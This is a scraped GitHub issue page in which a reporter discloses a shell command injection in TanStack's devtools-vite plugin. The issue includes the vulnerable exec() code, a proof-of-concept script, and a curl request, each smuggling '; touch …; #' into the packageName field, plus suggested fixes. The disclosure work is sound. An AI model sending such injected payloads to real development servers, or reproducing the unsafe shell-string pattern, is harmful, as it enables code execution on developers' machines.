René's URL Explorer Experiment


Title: Unauthenticated devtools event can trigger shell command injection during package install · Issue #464 · TanStack/devtools · GitHub

Open Graph Title: Unauthenticated devtools event can trigger shell command injection during package install · Issue #464 · TanStack/devtools

X Title: Unauthenticated devtools event can trigger shell command injection during package install · Issue #464 · TanStack/devtools

Description: TanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools-vite@0.7.0 appears to allow command inj...

Open Graph Description: TanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools...

X Description: TanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools...

Opengraph URL: https://github.com/TanStack/devtools/issues/464

X: @github

direct link

Domain: github.com


Hey, it has json ld scripts:
{"@context":"https://schema.org","@type":"DiscussionForumPosting","headline":"Unauthenticated devtools event can trigger shell command injection during package install","articleBody":"### TanStack Devtools version\n\n@tanstack/devtools-vite@0.7.0\n\n### Framework/Library version\n\nVite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64\n\n### Describe the bug and the steps to reproduce it\n\n`@tanstack/devtools-vite@0.7.0` appears to allow command injection through the development devtools event bus.\n\nWhen the Vite plugin runs in development mode, it starts a TanStack Devtools event bus, normally on `localhost:4206`, and registers handlers for events such as `install-devtools` and `bump-package-version`.\n\nThose handlers trust the event payload's `packageName` value and pass it into `installPackage()`. `installPackage()` then builds a package-manager shell command string such as:\n\n```text\nnpm install -D ${packageName}\npnpm add -D ${packageName}\nyarn add -D ${packageName}\nbun add -D ${packageName}\n```\n\nThe command is executed with `child_process.exec()`. Because `packageName` is not validated, escaped, or passed as an argv element, shell metacharacters in the event payload can execute local commands in the Vite dev server process.\n\nRelevant source locations:\n\n```text\npackages/devtools-vite/src/plugin.ts\npackages/devtools-vite/src/package-manager.ts\npackages/devtools-event-bus/src/server/server.ts\n```\n\nThe Vite plugin starts the event bus:\n\n```ts\nconst preferredPort = args?.eventBusConfig?.port ?? 4206\nconst serverHost =\n  typeof server.config.server.host === 'string'\n    ? server.config.server.host\n    : 'localhost'\n\nconst bus = new ServerEventBus({\n  ...args?.eventBusConfig,\n  port: preferredPort,\n  host: serverHost,\n})\n\ndevtoolsPort = await bus.start()\n```\n\nThe same plugin registers package-installation handlers:\n\n```ts\ndevtoolsEventClient.on('install-devtools', async (event) => {\n  const result = await installPackage(event.payload.packageName)\n  ...\n})\n\ndevtoolsEventClient.on('bump-package-version', async (event) => {\n  const { packageName, minVersion } = event.payload\n  const packageWithVersion = minVersion\n    ? `${packageName}@^${minVersion}`\n    : packageName\n\n  const result = await installPackage(packageWithVersion)\n  ...\n})\n```\n\nThe command injection sink is:\n\n```ts\nconst getInstallCommand = (\n  packageManager: string,\n  packageName: string,\n): string => {\n  switch (packageManager) {\n    case 'yarn':\n      return `yarn add -D ${packageName}`\n    case 'pnpm':\n      return `pnpm add -D ${packageName}`\n    case 'bun':\n      return `bun add -D ${packageName}`\n    case 'npm':\n    default:\n      return `npm install -D ${packageName}`\n  }\n}\n\nexport const installPackage = async (packageName: string) => {\n  ...\n  const installCommand = getInstallCommand(packageManager, packageName)\n  ...\n  exec(installCommand, async (installError) => {\n    ...\n  })\n}\n```\n\nThe event bus forwards unauthenticated WebSocket messages to server-side listeners:\n\n```ts\nws.on('message', (msg) => {\n  const data = parseWithBigInt(msg.toString())\n  this.emitToServer(data)\n})\n```\n\nSteps to reproduce:\n\n```bash\nrm -rf /tmp/tanstack-devtools-vite-poc\nmkdir /tmp/tanstack-devtools-vite-poc\ncd /tmp/tanstack-devtools-vite-poc\n\nnpm init -y >/dev/null\nnpm install vite @tanstack/devtools-vite@0.7.0 >/dev/null\n\ncat > vite.config.mjs \u003c\u003c'JS'\nimport { defineConfig } from 'vite';\nimport { devtools } from '@tanstack/devtools-vite';\n\nexport default defineConfig({\n  plugins: [\n    ...devtools({\n      logging: false,\n    }),\n  ],\n});\nJS\n\ncat > index.html \u003c\u003c'HTML'\n\u003cdiv id=\"app\">tanstack devtools vite poc\u003c/div>\n\u003cscript type=\"module\" src=\"/src/main.js\">\u003c/script>\nHTML\n\nmkdir -p src\ncat > src/main.js \u003c\u003c'JS'\nconsole.log('tanstack devtools vite poc');\nJS\n\nrm -f /tmp/tanstack-devtools-vite-pwn\n\nNODE_ENV=development npx vite --host localhost --port 5173 > /tmp/tanstack-vite.log 2>&1 &\nVITE_PID=$!\nsleep 2\n\nnode --input-type=module \u003c\u003c'JS'\nimport { WebSocket } from 'ws';\n\nconst ws = new WebSocket('ws://localhost:4206/__devtools/ws');\n\nws.on('open', () => {\n  ws.send(JSON.stringify({\n    type: 'tanstack-devtools-core:install-devtools',\n    pluginId: 'tanstack-devtools-core',\n    payload: {\n      packageName: 'definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #',\n      pluginName: 'PocPlugin',\n      pluginImport: {\n        importName: 'PocPlugin',\n        type: 'jsx'\n      }\n    }\n  }));\n\n  setTimeout(() => ws.close(), 500);\n});\n\nsetTimeout(() => process.exit(0), 1500);\nJS\n\nsleep 5\n\ntest -f /tmp/tanstack-devtools-vite-pwn && echo \"VULNERABLE: marker created\"\n\nkill \"$VITE_PID\" 2>/dev/null || true\nsed -n '1,80p' /tmp/tanstack-vite.log\n```\n\nObserved output:\n\n```text\nVULNERABLE: marker created\n\n[@tanstack/devtools-vite] Installing definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #...\n[@tanstack/devtools-vite] Successfully installed definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; #\n[@tanstack/devtools-vite] Auto-adding definitely-not-a-real-tanstack-poc-package; touch /tmp/tanstack-devtools-vite-pwn; # to devtools...\n[@tanstack/devtools-vite] Could not add plugin. Devtools file not found.\n```\n\nThe marker file is created, showing that the shell parsed and executed the injected command.\n\nI also reproduced the same issue through the HTTP event endpoint:\n\n```bash\ncurl -X POST http://localhost:4206/__devtools/send \\\n  -H 'Content-Type: application/json' \\\n  --data '{\"type\":\"tanstack-devtools-core:install-devtools\",\"pluginId\":\"tanstack-devtools-core\",\"payload\":{\"packageName\":\"x; touch /tmp/tanstack-devtools-vite-pwn; #\",\"pluginName\":\"PocPlugin\",\"pluginImport\":{\"importName\":\"PocPlugin\",\"type\":\"jsx\"}}}'\n```\n\nImpact:\n\nI understand this package is intended for development tooling, so I would not describe this as a production application RCE. The narrower issue is that an unauthenticated local devtools event endpoint can trigger package-manager command execution with attacker-controlled shell syntax.\n\nBy default this is primarily a local development server risk. However, development servers often have access to source code, package-manager auth tokens, local environment variables, dependency credentials, and the developer's filesystem. The risk can also increase if the dev server/event bus is exposed through `server.host`, a tunnel, a container port mapping, or a shared development environment.\n\nSuggested fix:\n\n- Avoid constructing package-manager commands as shell strings.\n- Use `spawn()` or `execFile()` with `shell: false`, passing the package name as a separate argv element.\n- Validate package names with a package-name parser such as `npm-package-arg`, or restrict this event to a known allowlist of TanStack devtools packages.\n- Require a per-dev-server random token for mutating event-bus actions.\n- Check WebSocket `Origin` where possible.\n- Avoid `Access-Control-Allow-Origin: *` for mutating event endpoints.\n- Consider requiring explicit user confirmation before package-install actions.\n\n### Your Minimal, Reproducible Example - (Sandbox Highly Recommended)\n\nThe reproduction above is a complete local shell script. It creates a minimal Vite project from scratch, installs only `vite` and `@tanstack/devtools-vite@0.7.0`, starts the dev server, sends the event payload, and checks for the marker file.\n\n### Screenshots or Videos (Optional)\n\n_No response_\n\n### Do you intend to try to help solve this bug with your own PR?\n\n_No response_\n\n### Terms & Code of Conduct\n\n- [x] I agree to follow this project's Code of Conduct\n- [x] I understand that if my bug cannot be reliable reproduced in a debuggable environment, it will probably not be fixed and this issue may even be closed.","author":{"url":"https://github.com/Dremig","@type":"Person","name":"Dremig"},"datePublished":"2026-06-19T06:30:52Z","url":"https://github.com/TanStack/devtools/issues/464"}

react-profiling0
react-import-mapreact,react-dom,react-dom/client,react-dom/profiling,react-is,react-reconciler,react/compiler-runtime,react/jsx-dev-runtime,react/jsx-runtime,scheduler@d5750093facf
route-pattern/_view_fragments/issues/show/:user_id/:repository/:id/issue_layout(.:format)
route-controllervoltron_issues_fragments
route-actionissue_layout
fetch-noncev2:8482f336-12c3-dc4c-6970-61acd2c7ec5c
current-catalog-service-hash81bb79d38c15960b92d99bca9288a9108c7a47b18f2423d0f6438c5b7bcd2114
request-id9AAE:1A0E:2872ED8:35070CB:6AF9AC4C
html-safe-nonceb9b0587d3880fcd02c9da88f0626d382e60c59fb3077f0efc07ae85288128cc1
visitor-payloadeyJyZWZlcnJlciI6IiIsInJlcXVlc3RfaWQiOiI5QUFFOjFBMEU6Mjg3MkVEODozNTA3MENCOjZBRjlBQzRDIiwidmlzaXRvcl9pZCI6IjM0NTk4NzE5OTAxMTI0MzExODAiLCJyZWdpb25fZWRnZSI6ImlhZCIsInJlZ2lvbl9yZW5kZXIiOiJpYWQifQ==
visitor-hmac0df958b402dfb897fe1c058bd7c38013c6e69987327c36aab724fc65f387c92e
hovercard-subject-tagissue:4698451232
github-keyboard-shortcutsrepository,issues,copilot
google-site-verificationApib7-x98H0j5cPqHWwSMm6dNU4GmODRoqxLiDzdx9I
octolytics-urlhttps://collector.github.com/github/collect
analytics-location///voltron/issues_fragments/issue_layout
fb:app_id1401488693436528
apple-itunes-appapp-id=1477376905, app-argument=https://github.com/_view_fragments/issues/show/TanStack/devtools/464/issue_layout
twitter:imagehttps://opengraph.githubassets.com/40c4c2717852d53f6f630a327eb02c68ba4c817569fd6f5b5e5bc61ff544d52c/TanStack/devtools/issues/464
twitter:cardsummary_large_image
og:imagehttps://opengraph.githubassets.com/40c4c2717852d53f6f630a327eb02c68ba4c817569fd6f5b5e5bc61ff544d52c/TanStack/devtools/issues/464
og:image:altTanStack Devtools version @tanstack/devtools-vite@0.7.0 Framework/Library version Vite v8.0.16 Node.js v24.3.0 macOS / Darwin arm64 Describe the bug and the steps to reproduce it @tanstack/devtools...
og:image:width1200
og:image:height600
og:site_nameGitHub
og:typeobject
og:author:usernameDremig
hostnamegithub.com
expected-hostnamegithub.com
None612d3e6ffd693e7ea8d9fcf452370995872baef31d825b1fedef704cd3d24ac7
turbo-cache-controlno-preview
go-importgithub.com/TanStack/devtools git https://github.com/TanStack/devtools.git
octolytics-dimension-user_id72518640
octolytics-dimension-user_loginTanStack
octolytics-dimension-repository_id1026402761
octolytics-dimension-repository_nwoTanStack/devtools
octolytics-dimension-repository_publictrue
octolytics-dimension-repository_is_forkfalse
octolytics-dimension-repository_network_root_id1026402761
octolytics-dimension-repository_network_root_nwoTanStack/devtools
turbo-body-classeslogged-out env-production page-responsive
disable-turbofalse
browser-stats-urlhttps://api.github.com/_private/browser/stats
browser-errors-urlhttps://api.github.com/_private/browser/errors
release072e34035c13c31543fba9f025cbbbda4210dae4
ui-targetfull
theme-color#1e2327
color-schemelight dark
react-app-nameissues

Links:

Skip to contenthttps://github.com/TanStack/devtools/issues/464#start-of-content
https://github.com/
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2FTanStack%2Fdevtools%2Fissues%2F464
GitHubRepository hosting, code review, and collaborationhttps://github.com/platform
CopilotAI coding agent for tasks, projects, and automated workhttps://github.com/features/copilot
ActionsCI/CD and automationhttps://github.com/features/actions
Code QualityQuality analysis, fixes, and enforcementhttps://github.com/features/code-quality
CodespacesCloud development environmentshttps://github.com/features/codespaces
Code SecurityVulnerability detection and remediationhttps://github.com/security/advanced-security/code-security
Secret ProtectionSecret scanning and leak preventionhttps://github.com/security/advanced-security/secret-protection
All Featureshttps://github.com/features
Documentationhttps://docs.github.com/en
Traininghttps://learn.github.com/skills
Certificationshttps://learn.github.com/credentials
Build with Copilothttps://github.com/features/ai
Customize Copilothttps://docs.github.com/en/copilot/how-tos/copilot-on-github/customize-copilot/customize-copilot-overview
Integrationshttps://github.com/marketplace
Trending reposhttps://github.com/trending
GitHub Sponsorshttps://github.com/open-source/sponsors
Developer articleshttps://github.com/resources/articles
ChangelogYour source for the latest features, improvements, and fixes across GitHub products, all in one place.https://github.blog/changelog/
Enterpriseshttps://github.com/enterprise
Teamhttps://github.com/team
Startupshttps://github.com/enterprise/startups
Nonprofitshttps://github.com/solutions/industry/nonprofits
Healthcarehttps://github.com/solutions/industry/healthcare
Financial serviceshttps://github.com/solutions/industry/financial-services
Manufacturinghttps://github.com/solutions/industry/manufacturing
Governmenthttps://github.com/solutions/industry/government
See all industrieshttps://github.com/solutions/industry
Why GitHubhttps://github.com/why-github
Customer Storieshttps://github.com/customer-stories
Business insightshttps://github.com/solutions/executive-insights
Trust Centerhttps://github.com/trust-center
GitHub Advanced SecurityEnterprise-grade code securityhttps://github.com/security/advanced-security
Copilot for businessEnterprise-grade AI featureshttps://github.com/features/copilot/copilot-business
Premium SupportEnterprise-grade 24/7 supporthttps://github.com/enterprise/premium-support
Documentationhttps://docs.github.com/en
Resource centerhttps://github.com/resources
Bloghttps://github.blog/
Events & webinarshttps://github.com/resources/events
Community Forumhttps://github.com/orgs/community/discussions
Customer Storieshttps://github.com/customer-stories
Integrationshttps://github.com/marketplace
Customer supporthttps://help.github.com/
Traininghttps://learn.github.com/skills
GitHub Statushttps://www.githubstatus.com/
Abouthttps://github.com/about
Partnershttps://github.com/partners
Changeloghttps://github.blog/changelog/
GitHub UniverseThe event for developers, by developers — talks, workshops, and what’s next for GitHub.https://githubuniverse.com/
Pricinghttps://github.com/pricing
Sign inhttps://github.com/login?return_to=https%3A%2F%2Fgithub.com%2FTanStack%2Fdevtools%2Fissues%2F464
Sign uphttps://github.com/signup?ref_cta=Sign+up&ref_loc=header+logged+out&ref_page=%2F%3Cuser-name%3E%2F%3Crepo-name%3E%2Fvoltron%2Fissues_fragments%2Fissue_layout&source=header-repo&source_repo=TanStack%2Fdevtools
Reloadhttps://github.com/TanStack/devtools/issues/464
Reloadhttps://github.com/TanStack/devtools/issues/464
Reloadhttps://github.com/TanStack/devtools/issues/464
TanStackhttps://github.com/TanStack
devtoolshttps://github.com/TanStack/devtools
Codehttps://github.com/TanStack/devtools
Issues24 (24)https://github.com/TanStack/devtools/issues
Pull requests25 (25)https://github.com/TanStack/devtools/pulls
Discussionshttps://github.com/TanStack/devtools/discussions
Actionshttps://github.com/TanStack/devtools/actions
Security and qualityhttps://github.com/TanStack/devtools/security
Insightshttps://github.com/TanStack/devtools/pulse
https://github.com/TanStack/devtools
New issuehttps://github.com/login?return_to=https://github.com/TanStack/devtools/issues/464
New issuehttps://github.com/login?return_to=https://github.com/TanStack/devtools/issues/464
Unauthenticated devtools event can trigger shell command injection during package installhttps://github.com/TanStack/devtools/issues/464#top
https://github.com/Dremig
Dremighttps://github.com/Dremig
on Jun 19, 2026https://github.com/TanStack/devtools/issues/464#issue-4698451232
https://github.com/Dremig
Dremighttps://github.com/Dremig
on Jun 19, 2026https://github.com/TanStack/devtools/issues/464#issuecomment-4749087399
https://github.com/AlemTuzlak
AlemTuzlakhttps://github.com/AlemTuzlak
on Aug 24, 2026https://github.com/TanStack/devtools/issues/464#issuecomment-5391718462
AlemTuzlakhttps://github.com/AlemTuzlak
on Oct 29, 2026https://github.com/TanStack/devtools/issues/464#event-34600898359
fix(devtools-bundler-core): validate package and import names from th…https://github.com/TanStack/devtools/commit/d018c4c99f3df90be0da57634f8bd883aa8efaa7
d018c4chttps://github.com/TanStack/devtools/commit/d018c4c99f3df90be0da57634f8bd883aa8efaa7
Sign up for freehttps://github.com/signup?return_to=https://github.com/TanStack/devtools/issues/464
Sign in to commenthttps://github.com/login?return_to=https://github.com/TanStack/devtools/issues/464
https://github.com
Termshttps://docs.github.com/site-policy/github-terms/github-terms-of-service
Privacyhttps://docs.github.com/site-policy/privacy-policies/github-privacy-statement
Securityhttps://github.com/security
Statushttps://www.githubstatus.com/
Communityhttps://github.community/
Docshttps://docs.github.com/
Contacthttps://support.github.com?tags=dotcom-footer

Viewport: width=device-width


URLs of crawlers that visited me.